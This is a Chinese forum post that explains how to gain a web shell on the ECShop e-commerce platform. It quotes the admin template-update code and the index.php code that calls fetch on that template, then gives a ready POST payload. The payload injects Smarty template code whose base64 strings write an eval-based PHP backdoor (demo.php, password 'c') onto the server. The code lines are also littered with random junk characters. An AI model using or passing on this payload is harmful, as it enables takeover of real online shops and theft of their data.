找回密码
 立即注册
查看: 2940|回复: 0
打印 上一主题 下一主题

Ecshop后台getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:33:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板4 U4 ]& a; O: H' T" G8 a( Z
2 C" h) s3 u# [$ `
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
0 C. {- g! ~" e; c但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
8 T; |9 ~3 a! T) {. z. Uadmin/template.php
# A3 I5 b0 l6 z, \* W6 ~/ t9 f
* R5 }& ]8 q0 t  z, {6 H, d: {6 J9 k1 if ($_REQUEST['act'] == 'update_library')
, K% M$ G7 D3 q4 X' K' E
3 \% q# k5 X1 T, I+ Z& L2   ! q, `) D+ \% n3 K  c
, P0 q) Q- t2 i2 [9 v, L/ H
3 {
7 i0 U3 L9 T0 K; \9 t& |8 `' t: \, ~2 l
4     check_authz_json('library_manage'); 8 n' N4 C$ n* N/ ~
: X0 P! j. ~7 f' C5 o
5   ( F) U7 A; E$ d1 q. c, B$ @, q
7 H  k! a' j/ r$ E
6     $html = stripslashes(json_str_iconv($_POST['html']));
/ b# r& Z9 D  f# v
% b0 D: z4 f" R2 }2 P7   & t& @1 Z( T9 P: j/ v3 r3 w
. p2 ?' }. R, M. v3 [0 }
8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
0 N* w0 m& m/ c7 i  y
% {. d- q/ d* c3 f; Z, U9   
7 X+ C/ S3 s9 g  w' {8 Q& M( D
8 Z# h0 A9 N; e# P6 r- X+ a5 o6 F10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
  B% }% o2 C2 X, z+ E" z5 `, T0 T/ b" J
: i$ S) \2 Q1 V9 w2 p11   3 r! w6 K3 o5 M0 n# w) A

8 B6 h9 ^" \" Z+ c5 D; M9 ?1 v12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file)); 2 E5 l& U8 N$ E6 G; d6 E/ F- p

7 z! l  J+ F5 L4 T& }- C& O13   
' i  B2 c6 x0 i* ~5 y" i1 v
2 k: c4 K7 Q7 B0 \  O14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出 % V1 n; ]6 q. n- m) \8 D
7 J3 x$ G! e" X3 d% ~( F5 f; w
15     {
. r- y. @5 N  h; [
1 Q$ J* c4 e" l+ I16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
# q2 K& Z( L/ F# d6 A. D
+ H" C2 W5 z/ W9 ^17         make_json_result('', $_LANG['update_lib_success']);
# R/ G4 X7 g) q/ i; [# h3 y' S0 n: w) I$ E( l+ f
18     } 4 A  z4 u  V8 b0 d1 h# n/ u/ H* {+ r

$ I$ X1 d2 E7 W9 d; t! i' C1 g/ S19     else . O+ J5 I7 g: z/ z6 y
" P+ {1 K% u8 b! L
20     { ) t9 K( |  O6 H
. r; \3 ~! z" b* G2 i( Y% k
21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
' l  t: {. ^- \7 m* U$ [* f- q3 B$ m* A4 U, }
22     }
2 Z' @! R1 M. @; A& e! t$ s3 I1 J' w1 M) E+ x$ s$ A
23 } 3 C* ^( V: s; j8 M& n
# A3 y% ^. v' `( K/ r- w( W
那么找个比较方便调用了模板的文件
  E/ M' W1 u  j8 B6 k" Kindex.php
6 ~0 _4 Q1 ?7 E9 z4 c, F
! W; l" `! J) u6 e" \1 if ($act == 'cat_rec')
9 _8 q  P7 @: }6 \0 S" k
, P5 l. c' B1 I! Z, n$ T/ m2   " o" r7 P( @7 }5 P* T9 q* q7 ^+ j

/ g$ F0 [, h4 S1 ]- S  v. `3 {
6 z$ r# m9 I' D9 }
/ F7 ]( \' l/ f' J3 G( Y4   
& C2 ~5 z" x* t1 E! {; x2 W  X( {$ H; s! j
5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot'); 4 A% `8 }( F) s/ f) ]8 N

: [1 ~  M# m* L' q+ U; O4 w6   
+ U) c0 r+ n; c/ L2 _8 K  `. a! R; r: e  P7 d$ Y. E/ H
7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
7 z% x8 L- H# O4 W8 x+ S% o" B5 j4 x2 `- C
8     a2 q; z3 r& y' c' W; N" f

0 G. _% b: o2 A$ j+ j* U8 U2 k9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; 8 M9 V. p! ~  X) P/ E; {/ z

8 X9 P8 u* B  X' z10   . ^: f/ h" q2 u/ r: d- K

4 }6 x5 q6 a+ ]: d3 b7 Z$ v11     include_once('includes/cls_json.php');
  b6 L8 l' {6 T; R& `7 m9 ?/ `% E8 a* c- i
12   ' ?4 X" l+ N6 e( z

/ ]+ i$ H* B; D: z7 \3 Q% O13     $json = new JSON;
) R$ T' V* a. U" ^7 r' W1 d5 |
& s- H5 Z4 ?: E, s. Y6 V) C  {- A14   2 F( U6 M- x, _

( k; ^! ~9 A( ]+ r: R& G0 b% f15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id); 8 J9 Z2 d. A. E; `0 g

: Q: a* }9 a! \' A; f+ x" S16   ' U$ E4 ~1 y# y

/ u3 ~2 C- v% }) u* N+ h( l" Q17     $children = get_children($cat_id); & S) S7 A7 g7 s8 A; z6 W" \
6 {- Y  V6 B9 q, e8 d
18   8 }% c5 g; g  k+ d" R- f* h6 ?0 z4 T
& F0 h# b/ Q. N% V
19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品 * H+ @) i* }/ @  L6 L4 i
2 a/ P: |& ^3 V2 b
20   
. D4 Z9 }) L9 F, Q3 c
1 j$ e* x* Q: f+ j% X21     $smarty->assign('cat_rec_sign', 1);
+ s6 ?0 p' Y/ b7 H6 ~
6 D. }8 s$ X3 ?7 T22   ' B$ e5 ]4 k  ^

5 A5 O( G+ a& r6 P/ x$ ]8 T) i23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best 5 v* Q3 \: A- n9 u) L$ K) R/ @
4 v9 O- T) x+ z0 w
24   % D# g6 z1 y/ {

) c7 [, [. R/ }3 L8 k25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
: l7 E- B+ i; q! D; z8 K8 g9 i. t& i% U$ ^+ _. b; Z- o7 ~
26   
7 x7 T! v* m( \( m3 ~0 X) \# D$ W- u% a* ~
27         echo $rec_array[$rec_type];
( K9 }4 u4 w$ F! Y
4 g$ P. Q# u( u+ Q% m4 T  }; d9 k4 ~28   
: U0 ~' l* ?( t( _3 e+ r
! u; ]4 q' b7 G) \29     die($json->encode($result)); : _. m; n6 `; V3 ]* I

+ O% I8 a+ P% j8 q6 ^9 a. v30   
9 W( d: ^! f( @3 A9 A4 R
9 \. B$ ^9 s) l8 T) [7 H31 } ; n: o" Q1 h  q7 z. L% Y7 {2 ?

2 ?  v. h7 Z' O) i7 g9 \那么就有利用方法了
2 B9 a$ c4 X# k, U. `5 y3 K& @post包到http://localhost/ec/admin/template.php?act=update_library# [  \" e, c8 L- c( W0 }
Post内容:6 I" q# G; ^, k; X6 J
5 A& ^& H( Q8 S% n
2 d9 [- O2 f2 O* v3 l& H! U
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if} 2 C' R2 A: q: _2 Y9 c& Y" e1 Y+ `$ p
. R% _( E+ b% F) P
然后访问http://localhost/ec/index.php?act=cat_rec
+ }9 A4 o% c2 L: Z. c1 n" r' D8 Y9 l5 @2 W6 A
shel地址:http://localhost/ec/demo.php7 l9 Z% ]( n8 r
密码c/ Z3 J( ]4 w; j# U* W6 w( p- U

  u( j  U" t7 ~7 \& E8 k
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表